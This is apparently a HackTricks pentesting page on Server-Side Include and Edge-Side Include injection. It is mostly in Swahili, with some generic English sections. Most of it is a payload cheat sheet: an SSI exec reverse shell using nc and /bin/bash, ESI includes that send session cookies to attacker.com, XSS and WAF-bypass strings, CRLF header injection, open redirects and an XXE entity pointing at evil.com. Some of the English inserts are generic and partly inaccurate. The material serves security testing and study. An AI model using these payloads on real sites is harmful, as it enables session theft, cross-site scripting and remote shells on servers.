Server Side Inclusion/Edge Side Inclusion Injection

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako inatangazwa katika HackTricks au kupakua HackTricks katika PDF Angalia MPANGO WA KUJIUNGA!

• Pata swag rasmi ya PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Taarifa Msingi za Uingizaji wa Upande wa Seva

(Maelezo yaliyochukuliwa kutoka nyaraka za Apache)

SSI (Uingizaji wa Upande wa Seva) ni maagizo ambayo hupachikwa kwenye kurasa za HTML, na kuhesabiwa kwenye seva wakati kurasa zinahudumiwa. Inakuwezesha kuongeza maudhui yanayozalishwa kwa kudumu kwenye ukurasa wa HTML uliopo, bila kuhudumia ukurasa mzima kupitia programu ya CGI, au teknolojia nyingine ya kudumu. Kwa mfano, unaweza kuweka agizo kwenye ukurasa wa HTML uliopo, kama vile:

<!--#echo var="DATE_LOCAL" -->

Na, wakati ukurasa unahudumiwa, kipande hiki kitahesabiwa na kubadilishwa na thamani yake:

Jumanne, 15-Jan-2013 19:28:54 EST

Uamuzi wa lini kutumia SSI, na lini kuwa na ukurasa wako uliotengenezwa kabisa na programu fulani, kawaida ni suala la sehemu ngapi ya ukurasa ni ya kudumu, na sehemu ngapi inahitaji kuhesabiwa upya kila wakati ukurasa unahudumiwa. SSI ni njia nzuri ya kuongeza vipande vidogo vya habari, kama vile wakati wa sasa - kama inavyoonyeshwa hapo juu. Lakini ikiwa sehemu kubwa ya ukurasa wako inazalishwa wakati unahudumiwa, unahitaji kutafuta suluhisho lingine.

Unaweza kudhani uwepo wa SSI ikiwa programu ya wavuti inatumia faili zenye viendelezi ** .shtml, .shtm au .stm**, lakini sio kila wakati.

Udhihirisho wa kawaida wa SSI una muundo ufuatao:

<!--#directive param="value" -->

Angalia

To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:

1. Identify the target: Determine the target website or application that you want to test for SSI or ESI Injection vulnerabilities.

2. Inspect the source code: Analyze the source code of the target application to identify any potential SSI or ESI injection points. Look for server-side scripting languages like PHP, ASP, or JSP, as they are commonly used for SSI or ESI.

3. Test for SSI Injection: Inject SSI directives into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use SSI directives like <!--#include virtual="file.txt" --> to include external files or execute commands.

4. Test for ESI Injection: Inject ESI directives into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use ESI directives like <esi:include src="http://attacker.com/malicious.xml" /> to include external content or execute commands.

5. Observe the response: Analyze the server's response to determine if the injected SSI or ESI directives are executed or if any error messages or unusual behavior occurs.

6. Exploit the vulnerability: If the SSI or ESI injection is successful, try to exploit the vulnerability further by including sensitive files, executing commands, or accessing restricted areas of the application.

7. Report and mitigate: Document your findings and report them to the appropriate parties. Provide recommendations on how to mitigate the SSI or ESI Injection vulnerabilities, such as input validation and output encoding.

By following these steps, you can effectively test for and exploit Server-Side Inclusion and Edge-Side Inclusion Injection vulnerabilities in web applications.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Kuingizwa kwa Upande wa Edge

Kuna tatizo la kukusanya habari au programu za kibinafsi kama sehemu ya yaliyomo inaweza kubadilika kwa wakati ujao yaliyomo inapopatikana tena. Hii ndio ESI inatumika, kuonyesha kutumia vitambulisho vya ESI yaliyomo ya kibinafsi inayohitaji kuzalishwa kabla ya kutuma toleo la hifadhi. Ikiwa mshambuliaji anaweza kuingiza kialamishi cha ESI ndani ya yaliyomo ya hifadhi, basi, anaweza kuweza kuingiza yaliyomo yoyote kwenye hati kabla haijatumwa kwa watumiaji.

Uchunguzi wa ESI

Kichwa kinachofuata katika jibu kutoka kwa seva kina maana kuwa seva inatumia ESI:

Surrogate-Control: content="ESI/1.0"

Ikiwa huwezi kupata kichwa hiki, server inaweza kutumia ESI hata hivyo. Pia inawezekana kutumia njia ya kudhuru kipofu kwa kuwa ombi linapaswa kuwasili kwenye server ya mshambuliaji:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Uchunguzi wa ESI

GoSecure iliumba jedwali ili kuelewa mashambulizi yanayowezekana ambayo tunaweza kujaribu dhidi ya programu tofauti zinazoweza kusaidia ESI, kulingana na kazi inayoungwa mkono:

• Includes: Inasaidia agizo la <esi:includes>

• Vars: Inasaidia agizo la <esi:vars>. Inatumika kwa kuzunguka Filters za XSS

• Cookie: Vidakuzi vya hati vinapatikana kwa injini ya ESI

• Upstream Headers Inahitajika: Programu mbadala hazitaprocess taarifa za ESI isipokuwa programu ya juu inatoa vichwa vya habari

• Host Allowlist: Katika kesi hii, ESI inajumuisha inawezekana tu kutoka kwa seva zilizoruhusiwa, ikifanya SSRF, kwa mfano, iwezekane tu dhidi ya seva hizo

Programu	Includes	Vars	Cookies	Upstream Headers Inahitajika	Host Whitelist
Squid3	Ndiyo	Ndiyo	Ndiyo	Ndiyo	Hapana
Varnish Cache	Ndiyo	Hapana	Hapana	Ndiyo	Ndiyo
Fastly	Ndiyo	Hapana	Hapana	Hapana	Ndiyo
Akamai ESI Test Server (ETS)	Ndiyo	Ndiyo	Ndiyo	Hapana	Hapana
NodeJS esi	Ndiyo	Ndiyo	Ndiyo	Hapana	Hapana
NodeJS nodesi	Ndiyo	Hapana	Hapana	Hapana	Hiari

XSS

Agizo la ESI lifuatalo litapakia faili yoyote ndani ya jibu la seva

<esi:include src=http://attacker.com/xss.html>

Pita ulinzi wa XSS ya mteja

Description:

Some web applications implement client-side XSS protection mechanisms to prevent the execution of malicious scripts in the browser. These protections are usually implemented using Content Security Policy (CSP) headers or JavaScript libraries like DOMPurify.

However, it is possible to bypass these client-side XSS protections by finding and exploiting vulnerabilities in the server-side code. This can be done by injecting malicious code that will be executed on the server and then reflected back to the client.

Exploitation:

To bypass client XSS protection, you can try the following techniques:

1. Server-Side Inclusion (SSI) Injection: If the web application uses Server-Side Includes (SSI) to dynamically include content, you can try injecting malicious code into the included file. This code will be executed on the server and then reflected back to the client, bypassing the client-side XSS protection.

2. Edge-Side Includes (ESI) Injection: If the web application uses Edge-Side Includes (ESI) to include content from different sources, you can try injecting malicious code into the included content. This code will be executed on the server and then reflected back to the client, bypassing the client-side XSS protection.

Prevention:

To prevent bypassing client XSS protection, you should:

• Implement server-side input validation and sanitization to prevent injection attacks.

• Use a web application firewall (WAF) to detect and block malicious requests.

• Regularly update and patch the server-side code to fix any vulnerabilities that could be exploited.

• Educate developers about secure coding practices and the risks associated with XSS attacks.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Pora Kuki

• Pora kuki kwa mbali

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Chukua kuki ya HTTP_ONLY kwa kutumia XSS kwa kuirudisha katika jibu:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Faili la Ndani la Binafsi

Usichanganye hii na "Kuingiza Faili la Ndani":

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) is a special character sequence that represents the end of a line in various operating systems, including Windows. It consists of two characters: a carriage return (CR) and a line feed (LF).

In the context of web security, CRLF injection refers to a type of attack where an attacker injects CRLF characters into user input fields or HTTP headers to manipulate the behavior of the web application or server. This can lead to various security vulnerabilities, such as HTTP response splitting, session hijacking, or server-side request forgery.

To prevent CRLF injection attacks, it is important to properly validate and sanitize user input, especially when it is used in HTTP headers or other sensitive parts of the application. Additionally, web developers should ensure that the application's response headers are correctly encoded to prevent any unintended interpretation of CRLF characters.

By understanding CRLF injection and implementing appropriate security measures, web applications can be better protected against this type of attack.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Uelekezaji Wazi

Yafuatayo yataongeza kichwa cha Location kwenye jibu

<!--esi $add_header('Location','http://attacker.com') -->

Ongeza Kichwa

• Ongeza kichwa katika ombi lililolazimishwa

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Ongeza kichwa katika jibu (inatumika kupita "Content-Type: text/json" katika jibu lenye XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF katika Ongeza kichwa (CVE-2019-2438)

Maelezo

Kuna kosa la CRLF (Carriage Return Line Feed) katika kazi ya kuongeza kichwa kwenye tovuti. Kosa hili linaweza kusababisha mashambulizi ya kuingiza maudhui kwenye kichwa cha ukurasa. Shambulio hili linaweza kusababisha athari mbaya kama vile kuvuja kwa habari nyeti, kutekelezwa kwa msimbo wa JavaScript haramu, au hata kudhibitiwa kwa seva.

Uthibitisho

Ili kuthibitisha uwepo wa kosa hili, unaweza kujaribu kuongeza herufi za CRLF (%0d%0a) kwenye kichwa cha ombi la HTTP. Ikiwa herufi hizo zinaonekana kwenye kichwa cha ukurasa uliopokelewa, basi kuna uwezekano wa kufanya mashambulizi ya CRLF.

Mashambulizi

Mashambulizi ya CRLF yanaweza kufanywa kwa kuingiza maudhui haramu kwenye kichwa cha ukurasa. Hii inaweza kusababisha matokeo mbalimbali kama vile kuvuja kwa habari nyeti, kutekelezwa kwa msimbo wa JavaScript haramu, au hata kudhibitiwa kwa seva.

Kinga

Ili kuzuia mashambulizi ya CRLF, ni muhimu kufanya ukaguzi wa kina wa kuingiza kichwa cha ukurasa. Hakikisha kuondoa herufi za CRLF kutoka kwa data ya kuingiza kabla ya kuionyesha kwenye ukurasa. Pia, tumia vifaa vya usalama kama vile WAF (Web Application Firewall) ili kuzuia mashambulizi ya CRLF.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai kurekebisha

Hii itatuma habari za kurekebisha zilizojumuishwa katika jibu:

<esi:debug/>

ESI + XSLT = XXE

Kwa kutoa thamani ya xslt kwa parameter ya dca, inawezekana kuweka eXtensible Stylesheet Language Transformations (XSLT) kulingana na ESI. Uingizaji huo husababisha HTTP surrogate kupata faili za XML na XSLT, ambapo XSLT inachuja XML. Faili za XML kama hizo zinaweza kutumiwa kwa mashambulizi ya XML External Entity (XXE), kuruhusu wadukuzi kutekeleza mashambulizi ya SSRF. Hata hivyo, matumizi ya njia hii ni mdogo kwani ESI tayari inatumika kama vector ya SSRF. Kutokana na ukosefu wa msaada katika maktaba ya Xalan, DTD za nje hazipangwi, hivyo kuzuia uchimbaji wa faili za ndani.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

Faili la XSLT:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Angalia ukurasa wa XSLT:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Marejeo

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/

• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

• https://academy.hackthebox.com/module/145/section/1304

• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Orodha ya Uchunguzi wa Brute-Force

Auto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako inatangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!

• Pata swag rasmi wa PEASS & HackTricks

• Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.